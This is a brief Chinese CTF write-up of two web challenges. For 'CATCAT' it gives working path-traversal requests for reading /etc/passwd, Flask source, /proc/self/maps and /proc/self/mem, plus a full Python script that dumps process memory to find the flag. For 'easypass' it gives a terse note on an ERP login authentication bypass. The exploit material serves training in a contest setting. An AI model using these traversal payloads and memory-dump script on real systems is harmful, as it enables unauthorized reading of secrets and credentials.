CATctf web 方向有关文件读取,session伪造,任意文件读取,内存读取
CATCAT
存在文件任意读取,试一下etc/passwd
抓包看后是python flask框架 app.py
尝试读取主程序源代码
查看后发现读取flag后又删除,flag保存在内存之中
linux下存在 proc 目录 下 cmdline cwd exe environ fd (如果用os remove ,目录下还可以得到被删除内容) self**
直接读根目录下flag不存在,读取内存 proc/self/mem linux内存权限不同区域不同,读取可读取区域的内存 用 proc/self/maps看不同区域的权限
写个脚本读取全部内存rw,然后寻找flag
最后脚本代码
import requests
import re
url="http://61.147.171.105:59618"
site="info?file=../../../proc/self/mem&start=%s&end=%s"
maps_reg = "([a-z0-9]{12}-[a-z0-9]{12}) rw.*?00000000 00:00 0"
maps_url = f"{url}/info?file=../../../../../proc/self/maps"
maps = re.findall(maps_reg,requests.get(maps_url).text)
for m in maps:
start,end=m.split('-')[0],m.split('-')[1]
#start,end =int (start,16),int (end,16)
print(start,end)
start=str(int(start,16))
end=str(int(end,16))
readurl=f'{url}/info?file=../../../../proc/self/mem&start={start}&end={end}'
res=requests.get(readurl).content
#secret = re.findall(b"[a-z0-9A-Z]{32}\*abcdefgh",res)
#if secret:
# print(secret)
flag = re.findall(b"[a-zA-Z]{4}\{[a-z0-9A-Z-_]*\}",res)
if flag:
print(flag)
easypass
找奇怪的js,发现login.JS 查看源码
源码写erp系统,搜一下,发现有检验漏洞
跟着图pass
结束 信息搜集 认证绕过